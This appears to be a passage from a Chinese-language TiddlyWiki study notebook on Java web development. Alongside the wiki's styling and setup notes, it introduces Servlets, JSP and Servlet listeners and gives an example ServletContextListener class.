toBala KM King


Requires Javascript.
Web 應用系統開發 - 學習筆記本 - V1.0 (2009/05/06) 由土芭樂知識聯盟設計與維護
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml'/>
<!--}}}-->
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #ffc
SecondaryLight: #fe8
SecondaryMid: #db4
SecondaryDark: #841
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
/*{{{*/
body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}

a {color:[[ColorPalette::PrimaryMid]];}
a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
a img {border:0;}

h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}

.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}

.header {background:[[ColorPalette::PrimaryMid]];}
.headerShadow {color:[[ColorPalette::Foreground]];}
.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
.headerForeground {color:[[ColorPalette::Background]];}
.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}

.tabSelected{color:[[ColorPalette::PrimaryDark]];
	background:[[ColorPalette::TertiaryPale]];
	border-left:1px solid [[ColorPalette::TertiaryLight]];
	border-top:1px solid [[ColorPalette::TertiaryLight]];
	border-right:1px solid [[ColorPalette::TertiaryLight]];
}
.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
.tabContents .button {border:0;}

#sidebar {}
#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}

.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
	border:1px solid [[ColorPalette::PrimaryMid]];}
.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
	border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
	border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}

#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}

.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}

.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}

.tiddler .defaultCommand {font-weight:bold;}

.shadow .title {color:[[ColorPalette::TertiaryDark]];}

.title {color:[[ColorPalette::SecondaryDark]];}
.subtitle {color:[[ColorPalette::TertiaryDark]];}

.toolbar {color:[[ColorPalette::PrimaryMid]];}
.toolbar a {color:[[ColorPalette::TertiaryLight]];}
.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}

.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
.tagging .button, .tagged .button {border:none;}

.footer {color:[[ColorPalette::TertiaryLight]];}
.selected .footer {color:[[ColorPalette::TertiaryMid]];}

.sparkline {background:[[ColorPalette::PrimaryPale]]; border:0;}
.sparktick {background:[[ColorPalette::PrimaryDark]];}

.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
.lowlight {background:[[ColorPalette::TertiaryLight]];}

.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}

.imageLink, #displayArea .imageLink {background:transparent;}

.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}

.viewer .listTitle {list-style-type:none; margin-left:-2em;}
.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}

.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}

.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
.viewer code {color:[[ColorPalette::SecondaryDark]];}
.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}

.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}

.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
.editorFooter {color:[[ColorPalette::TertiaryMid]];}

#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:'alpha(opacity:60)';}
/*}}}*/
/*{{{*/
* html .tiddler {height:1%;}

body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}

h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
h4,h5,h6 {margin-top:1em;}
h1 {font-size:1.35em;}
h2 {font-size:1.25em;}
h3 {font-size:1.1em;}
h4 {font-size:1em;}
h5 {font-size:.9em;}

hr {height:1px;}

a {text-decoration:none;}

dt {font-weight:bold;}

ol {list-style-type:decimal;}
ol ol {list-style-type:lower-alpha;}
ol ol ol {list-style-type:lower-roman;}
ol ol ol ol {list-style-type:decimal;}
ol ol ol ol ol {list-style-type:lower-alpha;}
ol ol ol ol ol ol {list-style-type:lower-roman;}
ol ol ol ol ol ol ol {list-style-type:decimal;}

.txtOptionInput {width:11em;}

#contentWrapper .chkOptionInput {border:0;}

.externalLink {text-decoration:underline;}

.indent {margin-left:3em;}
.outdent {margin-left:3em; text-indent:-3em;}
code.escaped {white-space:nowrap;}

.tiddlyLinkExisting {font-weight:bold;}
.tiddlyLinkNonExisting {font-style:italic;}

/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
a.tiddlyLinkNonExisting.shadow {font-weight:bold;}

#mainMenu .tiddlyLinkExisting,
	#mainMenu .tiddlyLinkNonExisting,
	#sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}

.header {position:relative;}
.header a:hover {background:transparent;}
.headerShadow {position:relative; padding:4.5em 0em 1em 1em; left:-1px; top:-1px;}
.headerForeground {position:absolute; padding:4.5em 0em 1em 1em; left:0px; top:0px;}

.siteTitle {font-size:3em;}
.siteSubtitle {font-size:1.2em;}

#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}

#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
#sidebarOptions {padding-top:0.3em;}
#sidebarOptions a {margin:0em 0.2em; padding:0.2em 0.3em; display:block;}
#sidebarOptions input {margin:0.4em 0.5em;}
#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
#sidebarOptions .sliderPanel input {margin:0 0 .3em 0;}
#sidebarTabs .tabContents {width:15em; overflow:hidden;}

.wizard {padding:0.1em 1em 0em 2em;}
.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0em 0em 0em 0em; margin:0.4em 0em 0.2em 0em;}
.wizardStep {padding:1em 1em 1em 1em;}
.wizard .button {margin:0.5em 0em 0em 0em; font-size:1.2em;}
.wizardFooter {padding:0.8em 0.4em 0.8em 0em;}
.wizardFooter .status {padding:0em 0.4em 0em 0.4em; margin-left:1em;}
.wizard .button {padding:0.1em 0.2em 0.1em 0.2em;}

#messageArea {position:fixed; top:2em; right:0em; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
.messageToolbar {display:block; text-align:right; padding:0.2em 0.2em 0.2em 0.2em;}
#messageArea a {text-decoration:underline;}

.tiddlerPopupButton {padding:0.2em 0.2em 0.2em 0.2em;}
.popupTiddler {position: absolute; z-index:300; padding:1em 1em 1em 1em; margin:0;}

.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
.popup .popupMessage {padding:0.4em;}
.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0em;}
.popup li.disabled {padding:0.4em;}
.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
.listBreak {font-size:1px; line-height:1px;}
.listBreak div {margin:2px 0;}

.tabset {padding:1em 0em 0em 0.5em;}
.tab {margin:0em 0em 0em 0.25em; padding:2px;}
.tabContents {padding:0.5em;}
.tabContents ul, .tabContents ol {margin:0; padding:0;}
.txtMainTab .tabContents li {list-style:none;}
.tabContents li.listLink { margin-left:.75em;}

#contentWrapper {display:block;}
#splashScreen {display:none;}

#displayArea {margin:1em 17em 0em 14em;}

.toolbar {text-align:right; font-size:.9em;}

.tiddler {padding:1em 1em 0em 1em;}

.missing .viewer,.missing .title {font-style:italic;}

.title {font-size:1.6em; font-weight:bold;}

.missing .subtitle {display:none;}
.subtitle {font-size:1.1em;}

.tiddler .button {padding:0.2em 0.4em;}

.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
.isTag .tagging {display:block;}
.tagged {margin:0.5em; float:right;}
.tagging, .tagged {font-size:0.9em; padding:0.25em;}
.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
.tagClear {clear:both;}

.footer {font-size:.9em;}
.footer li {display:inline;}

.annotation {padding:0.5em; margin:0.5em;}

* html .viewer pre {width:99%; padding:0 0 1em 0;}
.viewer {line-height:1.4em; padding-top:0.5em;}
.viewer .button {margin:0em 0.25em; padding:0em 0.25em;}
.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}

.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
table.listView {font-size:0.85em; margin:0.8em 1.0em;}
table.listView th, table.listView td, table.listView tr {padding:0px 3px 0px 3px;}

.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
.viewer code {font-size:1.2em; line-height:1.4em;}

.editor {font-size:1.1em;}
.editor input, .editor textarea {display:block; width:100%; font:inherit;}
.editorFooter {padding:0.25em 0em; font-size:.9em;}
.editorFooter .button {padding-top:0px; padding-bottom:0px;}

.fieldsetFix {border:0; padding:0; margin:1px 0px 1px 0px;}

.sparkline {line-height:1em;}
.sparktick {outline:0;}

.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
.zoomer div {padding:1em;}

* html #backstage {width:99%;}
* html #backstageArea {width:99%;}
#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageToolbar {position:relative;}
#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em 0.3em 0.5em;}
#backstageButton {display:none; position:absolute; z-index:175; top:0em; right:0em;}
#backstageButton a {padding:0.1em 0.4em 0.1em 0.4em; margin:0.1em 0.1em 0.1em 0.1em;}
#backstage {position:relative; width:100%; z-index:50;}
#backstagePanel {display:none; z-index:100; position:absolute; margin:0em 3em 0em 3em; padding:1em 1em 1em 1em;}
.backstagePanelFooter {padding-top:0.2em; float:right;}
.backstagePanelFooter a {padding:0.2em 0.4em 0.2em 0.4em;}
#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}

.whenBackstage {display:none;}
.backstageVisible .whenBackstage {display:block;}
/*}}}*/
/***
StyleSheet for use when a translation requires any css style changes.
This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
***/
/*{{{*/
body {font-size:0.8em;}
#sidebarOptions {font-size:1.05em;}
#sidebarOptions a {font-style:normal;}
#sidebarOptions .sliderPanel {font-size:0.95em;}
.subtitle {font-size:0.8em;}
.viewer table.listView {font-size:0.95em;}
/*}}}*/
/*{{{*/
@media print {
#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none ! important;}
#displayArea {margin: 1em 1em 0em 1em;}
/* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
noscript {display:none;}
}
/*}}}*/
<!--{{{-->
<div class='header' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'>
<div class='headerShadow'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
<div class='headerForeground'>
<span class='siteTitle' refresh='content' tiddler='SiteTitle'></span>&nbsp;
<span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'></span>
</div>
</div>
<div id='mainMenu' refresh='content' tiddler='MainMenu'></div>
<div id='sidebar'>
<div id='sidebarOptions' refresh='content' tiddler='SideBarOptions'></div>
<div id='sidebarTabs' refresh='content' force='true' tiddler='SideBarTabs'></div>
</div>
<div id='displayArea'>
<div id='messageArea'></div>
<div id='tiddlerDisplay'></div>
</div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar closeTiddler closeOthers +editTiddler > fields syncing permalink references jump'></div>
<div class='title' macro='view title'></div>
<div class='subtitle'><span macro='view modifier link'></span>, <span macro='view modified date'></span> (<span macro='message views.wikified.createdPrompt'></span> <span macro='view created date'></span>)</div>
<div class='tagging' macro='tagging'></div>
<div class='tagged' macro='tags'></div>
<div class='viewer' macro='view text wikified'></div>
<div class='tagClear'></div>
<!--}}}-->
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='edit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
To get started with this blank TiddlyWiki, you'll need to modify the following tiddlers:
* SiteTitle & SiteSubtitle: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
* MainMenu: The menu (usually on the left)
* DefaultTiddlers: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
You'll also need to enter your username for signing your edits: <<option txtUserName>>
These InterfaceOptions for customising TiddlyWiki are saved in your browser

Your username for signing your edits. Write it as a WikiWord (eg JoeBloggs)

<<option txtUserName>>
<<option chkSaveBackups>> SaveBackups
<<option chkAutoSave>> AutoSave
<<option chkRegExpSearch>> RegExpSearch
<<option chkCaseSensitiveSearch>> CaseSensitiveSearch
<<option chkAnimate>> EnableAnimations

----
Also see AdvancedOptions
<<importTiddlers>>
Revision 3497
&nbsp;
__{{item1{學習筆記本簡介}}}__
這是一個由單網頁 (HTML, CSS, JavaScript) 所建構的資訊工作平台 (Platform), 在這平台中你可以輕鬆的處理各式各樣資訊, 例如 網頁(XHTML), 可縮放向量圖形 (SVG), 數學標籤語言 (MathML), 同步多媒體集成語言 (SMIL), PDF 等, 並以 [標籤分類] 方式, 有效的將平台中的資訊, 轉換成個人知識庫.

學習筆記本 有提供 Wiki 語法, 可使妳快速產生網頁資訊, 更可以作為 Ajax 及 Java 程設人員的開發平台 (首創), 至於多媒體的展示能力更不在話下, 因這平台本體就是網頁, 當然可輕易展示圖片, 影片, 音樂 (JPG, GIF, AVI, WAV,..). 相信由這平台的實作, 你可以感覺單網頁平台所創造的資訊力 (force) 是無限的, 在下一個版本 (2.0) 已計劃整合 ''SQLite'', 這可使得 ''學習筆記本'' 大大提升其執行效率及文章儲存容量

__''@@font-size:14px;系統需求@@''__
|硬體|CPU : P4+, 記憶體 : 512 MB+|
|瀏覽器|Firefox 2.0+, IE 6.0+, Safari 3.1+|
|作業系統|Windows 2000/XP/Vista, Mac OS X|

__''@@font-size:14px;核心技術@@''__
學習筆記本核心技術是來自於 [[TiddlyWiki|http://www.tiddlywiki.com/]], 並與 TiddlyWiki 採用相同授權方式 (BSD OpenSourceLicense)

__{{item1{下載學習筆記本}}}__
點選 [[這裡|http://tbala.net/download/toBalaKMKNotepad.zip]] 下載大約 9 MB 的壓縮檔 (toBalaKMKNotepad.zip)

__{{item1{安裝與啟動學習筆記本}}}__
你只需將下載的壓縮檔 (toBalaKMKNotepad.zip) 解壓縮至資料磁碟機 (建議 USB 隨身碟), 這時你會看到ㄧ個名為 toBalaKMKNotepad 的資料夾,
在資料夾中快點二下 toBalaKMKNotepad.html, 系統會使用預設瀏覽器將之開啟 (目前只支援 IE 5.5+, Firefox 1.5+, Safari 3.1+)

''[注意]'' 切勿將壓縮檔 toBalaKMKNotepad.zip 解壓縮至 ''[桌面]'' 或 ''[名稱中有空白字元的目錄]'', 這樣操作會造成 ''學習筆記本'' 無法正常工作. 在 toBalaKMKNotepad 資料夾中, 存在的某些 .exe 檔 (tbsys.exe, tbjava.exe, tbjavac.exe), 會被防毒軟體誤判為病毒並隔離, 請自行設定防毒軟體, 將這些檔案視為安全檔案.

__{{item1{學習筆記本的目錄結構}}}__
{{{
toBalaKMKNotepad
       |--- img                   儲存圖檔 (png, jpg,...)
       |
       |--- movie                儲存影音檔 (avi, mov,...)
       |
       |--- music               儲存音樂檔 (mp3, mp4, wav...)
       |
       |--- documents         儲存各式文件檔 (pdf, text, doc,...)
       |
       |--- tools                 儲存隨身應用軟體 (zoomIt, Inkscape, hfs,...)
       |
       |--- ajax                  儲存 Ajax 程設人員的工具及程式 (HTML, CSS, JavaScript)
       |
       |--- java                   儲存 Java 程設人員所需的工具及程式 (J2SE, Tomcat,..)
       |
       |--- xml                   儲存各式 XML 標準資訊檔 (SVG, XHTML, MathML, ODF,...)
       |
       |--- db                     儲存 SQLite 所建立的資料庫
       |
       |--- jslib                   儲存 Ajax Framework
}}}

__{{item1{學習筆記本 - 版本記錄}}}__

''@@color:red;[V1.1 - 2008/09/30]@@''
1. 將 ImportTiddlersPlugin 更新為 4.3.3
2. toBalaJava 巨集升級為 toBalaJava2 巨集
3. toBalaAjax 巨集加入 [網頁文字編輯] 功能
4. toBalaFlashPlayer 巨集升級為 toBalaSWF2 巨集 (使用 SWFObject 2.1)
5. 新增 [更新土芭樂巨集程式碼] 按鈕
6. 新增 [匯出文章] 功能按鈕 (ExportTiddlersPlugin) 
7. 新增 toBalaBackup 巨集, 備份指定文章
8. 新增 toBalaCoreBackup 巨集, 備份 "土芭樂巨集" 程式
9. 修改 toBalaLIB 程式庫 (getMainTree, TagDigg, getTiddlerDIV)
10. 將 [版面管理員] 改版為 [控制台]

__{{item1{筆記本設定 (設定將存於瀏覽器 Cookies 中)}}}__

請簽名 <<option txtUserName>>
<<option chkGenerateAnRssFeed>> 儲存變更時,也儲存 RSS feed

__{{item1{版面設定 (設定將存於筆記本中)}}}__
<<toBalaManager>>

__{{item1{筆記本備份 (設定將存於瀏覽器 Cookies 中)}}}__
{{op1{1. 資訊樹}}}
備份檔名 : <<option txtBalaBackupFileName>>
備份主標籤 : <<option txtBalaTreeBody>>
其它備份文章 : <<option txtBalaBackupOthers>>

<<toBalaBackup "NotepadBackup.html">>

{{op1{2. 土芭樂巨集}}}
備份檔名 : <<option txtBalaCoreBackupFileName>>
其它備份文章 : <<option txtBalaCoreBackupOthers>>

<<toBalaCoreBackup "toBalaCoreMacro.html">>

__{{item1{巨集管理}}}__

<<loadTiddlers "label:檢查更新土芭樂巨集" http://tbala.net/x/toBalaMacro.html updates quiet>>























///%

Web 應用系統開發 - 學習筆記本

V1.0 (2009/05/06) 由土芭樂知識聯盟設計與維護

<<tagsTree twcms "" 1 4 index label>>
<<tagsTree servlet01 "" 1 4 index label>>
<<tagsTree servlet02 "" 1 4 index label>>
<<tagsTree servlet03 "" 1 4 index label>>
<<tagsTree servlet04 "" 1 4 index label>>
<<tagsTree servlet05 "" 1 4 index label>>
<<tagsTree servlet06 "" 1 4 index label>>
<<tagsTree servlet07 "" 1 4 index label>>
<<tagsTree servlet08 "" 1 4 index label>>
<<tagsTree KMKConfig "" 1 4 index label>>
<<tagsTree menu "" 1 4 index label>>

 [[首頁]] | [[土芭樂 3.0 - 數位新思路|http://tbala.net/]]  | [[TiddlyWiki 練功坊|http://tiddlywiki.tbala.net/]] | [[匯入文章]]  | [[匯出文章]]  |  &nbsp;&nbsp;<<toBalaRun "Java-CMD.bat" "" "命令提示視窗">>&nbsp;&nbsp;<<newTiddler label:"新增文章">>&nbsp;&nbsp;<<closeAll>>&nbsp;&nbsp;<<saveChanges>>&nbsp;&nbsp;IT 無涯,關機是岸
//%/
Servlet 維基百科 : http://zh.wikipedia.org/w/index.php?title=Java_Servlet&variant=zh-tw

Servlet (Server Applet),未有中文譯文。是用 Java 編寫的伺服器端程序。其主要功能在於互動式瀏覽和修改後端資訊,生成動態 Web 內容。狹義的 Servlet 是指 Java 語言實現的一個介面,廣義的 Servlet 是指任何實現了這個 Servlet 介面的類,一般情況下,人們將 Servlet 理解為後者。

Servlet 運行於支持 Java 的應用伺服器中。從實現上講,Servlet 可以響應任何類型的請求,但絕大多數情況下 Servlet 只用來擴展基於 HTTP 協議的 Web 伺服器。

最早支持 Servlet 標準的是 JavaSoft 的 Java Web Server。此後,一些其它的基於 Java 的 Web 伺服器開始支持標準的 Servlet。

{{op1{工作模式}}}
{{{
* 客戶端發送請求至伺服器
* 伺服器啟動並調用 Servlet,Servlet 根據客戶端請求生成響應內容並將其傳給伺服器
* 伺服器將響應返回客戶端
}}}
<<toBalaNotes "servlet">>
Servlet Javadoc 下載網址 : http://java.sun.com/products/servlet/download.html

[[Servlet 2.4 Javadoc|documents/html/servlet2.4/index.html]]
 
///%servlet
//%/
JSP 與 Servlet 是一體的兩面,您可以使用單獨一項技術來解決動態網頁呈現的需求,但最好的方式是取兩者的長處,JSP 是''網頁設計人員''導向的,而 Servlet 是''程式設計人員''導向的。JSP 事實上也是轉譯為 Servlet,骨子裡還是個 Servlet 程式。

{{item1{JSP 程式結構}}}

{{op1{1. Directives}}}
Instructions to the JSP engine/compiler

{{op1{2. Scripting}}}
''- Declarations''
Additional methods and variables to be generated into the JSP servlet

''- Scriptlets''
Inline Java code

''- Expressions''
Java code that resolves to Strings

{{op1{3. Actions available within the JSP servlet}}}
- Standard actions for bean usage, flow control
- Custom actions can be added


{{item1{PageCmpilation}}}
JSP is converted into a servlet and executed.

''程序如下 :''
1. JSP Source is parsed.

2. Java servlet code is generated.

3. This JSP Servlet is compiled, loaded, and run.

<<toBalaNotes "jsp">>










///%jsp
//%/
本文網址 : http://www.java-tips.org/java-tutorials/tutorials/introduction-to-servlet-listener-using-eclipse.html

{{item1{Introduction}}}
Listener is one of the most popular technologies used in the J2EE web application. It is part of the Java Servlet as defined in Servlet 2.3 but they have their own specific functionalities. There are two most widely used Servlet Listener i.e. ServletContextListener and HttpSessionListener.

By the end of this tutorial, you are expected to be able to implement ServletContextListener as well as HttpSessionListener and able to customize them based on your needs. Additionally, it would be good if you have some basic knowledge on general J2EE web application such as JSP, Java Servlet and Eclipse.

{{op1{What is Listener?}}}
Listener is basically pre-defined interfaces that are available for developers in the application lifecycle to achieve some tasks especially when dealing with the ServletContext as well as HttpSession objects. While it saves a lot of time, it also makes the application less complex and more maintainable. In one web application, multiple listeners are allowed so it means that ServletContextListener may co-exist with HttpSessionListener. As you may have known, there are two Listeners that are widely used i.e. ServletContextListener and HttpSessionListener. They both are having different functionalities but both are equally important.

ServletContextListener will be executed once your web application is deployed in your application server (Tomcat or etc). If you have any requirements that need to be executed before the application is started, ServletContextListener is the best place for you. ServletContextListener also detects when your web application is removed. For example, if you replace the WAR file in Tomcat, Tomcat will automatically re-deploy your web application based on the latest WAR. Re-deploying means that Tomcat first removes the web application and then deploy the new web application. In this case, ServletContextListener should be able to notice when the web application is destroyed (removed) as well as when the web application is started (deployed). Just for your information, ServletContextListener is produced for you to deal with the ServletContext. Every web application in J2EE will have one ServletContext associated with it. The details of the ServletContext are not covered in this tutorial.

Unlike ServletContextListener, HttpSessionListener deals with the HttpSession object. HttpSession object are always used in every web application and are very useful in maintaining the data as it is available throughout the lifecycle of the web application until it is invalidated or the user closes the browser. This is the definition of HttpSession taken from the Sun website – “Provides a way to identify a user across more than one page request or visit to a Web site and to store information about that user”. The details of the HttpSession object are not covered in this tutorial.

So let’s start our Eclipse. If you are not sure on how to setup Eclipse and Tomcat, please have a look at the previous tutorials (Java Servlet tutorial).

<<toBalaNotes "listener">>
{{item1{程式製作}}}
{{op1{ContextListener 程式}}}
{{{
import javax.servlet.ServletContextListener;
import javax.servlet.ServletContextEvent;
import javax.servlet.*;

public  class MyContextListener implements ServletContextListener {

  private ServletContext context = null;

  /**
    This method is invoked when the Web Application has been removed 
    and is no longer able to accept requests
  */
  public void contextDestroyed(ServletContextEvent event)
  {
    //Output a simple message to the server's console
    System.out.println("The Simple Web App. Has Been Removed");
    this.context = null;
  }

  //This method is invoked when the Web Application
  //is ready to service requests
  public void contextInitialized(ServletContextEvent event)
  {
    this.context = event.getServletContext();
    String amail = context.getInitParameter("adminMail");
    context.setAttribute("AdminMail", amail);

    //Output a simple message to the server's console
    System.out.println("The Simple Web App. Is Ready");
  }
}
}}}

{{op1{web.xml}}}
{{{
<?xml version="1.0" encoding="ISO-8859-1"?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
